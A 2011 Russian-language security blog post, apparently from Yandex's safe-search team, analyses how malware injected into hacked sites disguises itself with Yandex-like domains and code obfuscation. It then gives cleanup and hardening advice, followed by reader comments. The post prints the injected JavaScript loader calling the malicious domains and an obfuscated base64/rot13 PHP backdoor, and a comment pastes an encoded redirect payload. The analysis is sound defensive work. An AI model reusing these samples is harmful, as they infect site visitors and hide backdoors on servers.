Блог о безопасности

Способы обфускации вредоносного кода на примере yandex-yandex.uni.cc и ad.yandex-verification.net

В настоящее время злоумышленники используют Интернет в качестве одного из основных каналов распространения вредоносного кода. Чтобы найти, проанализировать и удалить этот код было сложнее, они применяют различные методы его обфускации.


Обфускация программного кода – это любые действия, усложняющие его анализ, в том числе:

  1. преднамеренное преобразование кода в нечитаемый, включая применение различных способов его кодирования, искусственное усложнение, добавление ненужных участков;
  2. разделение кода на отдельные части, загружаемые из различных источников при соблюдении определённых условий;
  3. использование в нём названий известных, вызывающих доверие компаний и продуктов;
  4. непреднамеренная «обфускация» за счёт неработоспособности, плохо продуманной архитектуры и общего низкого качества кода.

Вредоносный код на веб-сайтах часто состоит из нескольких частей, которые подгружаются из разных источников. Вспомогательная часть обычно располагается на страницах недавно взломанного «хорошего» сайта. Когда она загружается к пользователю в браузер, то подгружает в него основной вредоносный код с серверов злоумышленников.


Злоумышленники могут давать серверам, с которых загружается основная часть вредоносного кода,  доменные имена похожие на доменные имена известных компаний. В последнее время резко участились случаи заражения веб-сайтов кодом, основная часть которого загружается с yandex-yandex.uni.cc и ad.yandex-verification.net. К Яндексу эти домены, разумеется, никакого отношения не имеют. Технические подробности приведены ниже. Будьте бдительны!



yandex-yandex.uni.cc

На 23.06.2011 в нашей базе насчитывается более полутора тысяч сайтов, страницы которых заражены таким кодом.


Скрипт на заражённой странице имеет вид:

<script>
var gaJsHost = (("http:" == document.location.protocol) ? "http://yandex" : "http://yandex"); document.write(unescape("%3Cscript src='" + gaJsHost + "-yandex.uni.cc/verify-v1?id="+Math.floor(Math.random() *30000)+"&group=2&seoref="+encodeURIComponent(document.referrer)+ "&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=' type='text/javascript'%3E%3C/script%3E"));
 </script>
Код, передаваемый на клиент (в браузер) преднамеренно переусложнён и сделан трудночитаемым, что является обфускацией.

После выполнения данного скрипта на веб-страницу добавляется ещё один тег script, в атрибуте src которого присутствует url вида:

http://yandex-yandex.uni.cc/verify-v1?id=<random_number>&group=2&seoref=<referer>&parameter=$keyword&se=$se&ur=1&HTTP_REFERER=<url>&default_keyword=

где:

<random_number> - случайно сгенерированное число от 0 до 30000;
<referer> - url, с которого пришли на зараженный сайт;
<url> - url зараженного сайта.

Кроме обфускации вредоносного кода, передаваемого на сторону клиента, для данного типа вредоносного ПО характерна также обфускация вредоносного кода, который добавляется в PHP-скрипты при взломе сервера, например:

<?php $somecrainsignvar="df8aslpq"; echo base64_decode(str_rot13('VQkmL3WcpUD+VN0XqzSlVTquFaAVo3A0VQ0tXPtvnUE0pQbvVQ09VTEiL3IgMJ50YzkiL2S0nJ9hYaOlo3EiL29fXFN/VPWbqUEjBv8irJShMTI4VvN6VPWbqUEjBv8irJShMTI4Vvx7VTEiL3IgMJ50YaqlnKEyXUIhMKAwLKOyXPVyZ0AmL3WcpUDtp3WwCFpvVPftM2SXp0uip3DtXlNvYKyuozEyrP51ozxhL2ZiqzIlnJM5YKLkC2yxCFVeGJS0nP5zoT9ipvuALKEbYaWuozEioFtcVPbmZQNjZPxeVvMapz91pQ0lWaAyo3WyMw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5lMJMypaWypvxeVPVzpTSlLJ1yqTIlCFEeMKy3o3WxWaAyCFEmMFM1pw0kWxuHISOsHxITEIWSHw0vX2IhL29xMIIFFHAioKOiozIhqPuxo2A1oJIhqP5IHxjcXlVzMTIzLKIfqS9eMKy3o3WxCFptqUyjMG0aqTI4qP9dLKMup2AlnKO0WlHmEFHmDl9mL3WcpUDyZ0HvXFx7QDbtCP9mL3WcpUD+VN==')); $crain="";


ad.yandex-verification.net

На 23.06.2011 в нашей базе насчитывается более двух тысяч сайтов, страницы которых заражены таким кодом.


Скрипты на заражённой странице имеют вид:

<script type="text/javascript" src="http://ad.yandex-verification.net/verify-v1"></script>
или
<script type="text/javascript" src="http://ad.yandex-verification.net/verify-v2"></script>

Существенных особенностей по сравнению с yandex-yandex.uni.cc работа этого вредоносного кода не имеет.



Как удалить вредоносный код на стороне сервера

Чаще всего вредоносный код появляется на сайте в результате взлома или использования украденного пароля доступа.

Злоумышленники  получают пароли и ценную информацию при помощи троянских программ и вирусов, которые могут оставаться на личном компьютере вебмастера или администратора сайта длительное время. Поэтому перед тем, как удалять вредоносный код, советуем:

  • проверить рабочие станции и сервера антивирусом (можно использовать также бесплатные антивирусные утилиты, такие как DrWeb CureIT или Kaspersky Virus Removal Tool) ;
  • сменить пароли от FTP,  административной панели CMS, СУБД, SSH (если используете данный протокол для доступа к веб-серверу), а также от панели управления веб-хостингом (DirectAdmin, cPanel, ISP Manager и т.п.).

В противном случае злоумышленники смогут снова внедрить вредоносный код в страницы вашего сайта.


Кроме того, имеет смысл проверить сайт на другие виды заражения, в качестве которого может выступать любой незнакомый вам обфусцированный (специально сделанный нечитаемым, например, закодированный) код, особенно содержащий функции:

eval, base64_decode, gzuncompress, gzinflate, ob_start, str_rot13

Чтобы в будущем не допустить заражения вашего сайта вредоносным кодом:

  • не сохраняйте пароли в веб-браузерах, файловых менеджерах, а также FTP-, SFTP-, SCP- и SSH-клиентах;
  • используйте стойкие пароли, регулярно меняйте их, чтобы злоумышленники не смогли подобрать пароль по словарям или перебором (рекомендуем использовать пароль из не менее чем 10 букв, цифр и специальных символов);
  • используйте на рабочих станциях и серверах антивирус, следите за тем, чтобы его ядро и базы регулярно обновлялись;
  • настройте файрволлы и сетевую инфраструктуру так, чтобы были разрешены только необходимые для работы соединения;
  • регулярно устанавливайте обновления для вашей CMS, а если используете CMS собственной разработки – применяйте WAF (Web Application Firewall) и правила безопасного программирования;
  • зарегистрируйте сайт в Яндекс.Вебмастере, чтобы иметь возможность самостоятельно запускать его перепроверку, а также посмотреть информацию о найденном коде в случае заражения.

Команда безопасного поиска Яндекса

10 комментариев

Ой, какое страшное слово - "обфускация" o_O

У меня вирус на сайте, который детектит только касперски, подскажите как вычислить. Много всего пишет, основное uebani.js

 

about:blank" onError='ybsshy=unescape("%27");lalut=eval("document.getElementById("+ybsshy+"fplswm"+ybsshy+").src=unescape("+ybsshy+"%68%74%74%70%3A%2F%2F"+ybsshy+")+document.getElementById("+ybsshy+"8354"+ybsshy+").id+unescape("+ybsshy+"%2E%69%6E%2F"+ybsshy+")+"+ybsshy+"1309246476"+ybsshy+"+unescape("+ybsshy+"%2E%70%68%70"+ybsshy+")");document.getElementById("fplswm").src=lalut' style="width:300;height:300;border:0px;">about:blank">

 

Помогите советом, что делать

Скрипт пытается загрузить изображение, в обработчике ошибок стоит редирект на h**p://undefined.in/1309246476.php .

Без дополнительной информации, в т.ч. не зная даже доменного имени заражённого сайта, можно дать только общие советы:

1) проверьте на вирусы компьютер, с которого администрируете сайт, обновите на сервере ПО и CMS, после этого смените пароли;

2) найдите страницу, на которой присутствует этот вредоносный код;

3) определите, что именно эту страницу генерирует на стороне сервера;

4) найтдите в коде, генерирующем страницу, части, выдающие  вредоносный код в браузер.

Что искать - см. в http://help.yandex.ru/webmaster/?id=1059440#1059448 . Могут быть обфусцированными, как php-код в статье выше.

Ещё можно зарегистрировать сайт в Я.Вебмастере, зайти во вкладку "Безопасность", запустить проверку и посмотреть список заражённых страниц.

сайт в вебмастере зарегистрирован, яндекс не ругается и никто не ругается кроме каспера. Причём ругается только один раз в сутки, а потом молчит. Сайт писался на компе под управлением mac os и у всех остальных макось, есть предположение, что у одного пользователя винда и у него был доступ к фтп, т.е. через него заразились. Домен startavto.ru

То, что вредоносный код на сервере пытается заразить только клиентов, которые не заходили на заражённую страницу в течение предыдущих суток - обычное поведение вредоносного кода.
Возможно, у вредоносного кода на сервере есть и другие условия, и он пытается заразить клиента, только когда все они выполняются (тип клиента, время суток, ip, cookie, что-то ещё), из-за которых код могут получить  только определённые клиенты.
Если знаете, когда примерно вредоносный код впервые начал появляться, и у вас есть бэкап сервера до момента заражения - попробуйте сравнить с текущим состоянием, найти, что изменилось. Кроме того, можно посмотреть на даты последнего изменения файлов в системе.
Можете также создать ещё один экземпляр своего сайта на другом хостинге, и проверить, выдаются ли сообщения о заражении. А ещё вам может помочь тех. поддержка Лаборатории Касперского.

поддержка касперского мягко слилась в сторону поиска вируса у себя, смены пароля на хостинге и восстановления бекапов. Хостинг вообще отжог - у нас типа бекапы только за 2-е недели. Восстанавливать сайт из исходников - не вариант уж больно много работы проделано на рабочей версии

А попробовали посмотреть по улучшенной вкладке "Безопасность" в Яндекс.Вебмастере? Или найти сложным способом, который описан здесь?

я почему то увидел, что на моем сайте h**p://imondu.ucoz.ru/ вирус! аваст увидел какой то эксплоит.

Комментарий удалён

Спасибо, думаю, что со временем расскажем. Кстати, если вы напишете хорошие статьи про включение вредоносного кода через CSS  и настройки веб-сервера, проверку в ipb, или на другие похожие темы (ведь знаете же ;) )  – присылайте ссылки, поделимся ими у себя.

Могу посоветовать антивирус для сайтов http://www.siteguard.ru/ — на
сайте, помимо собственно защиты, есть в том числе и статьи, советы,
написанные нами специально для проекта Siteguard.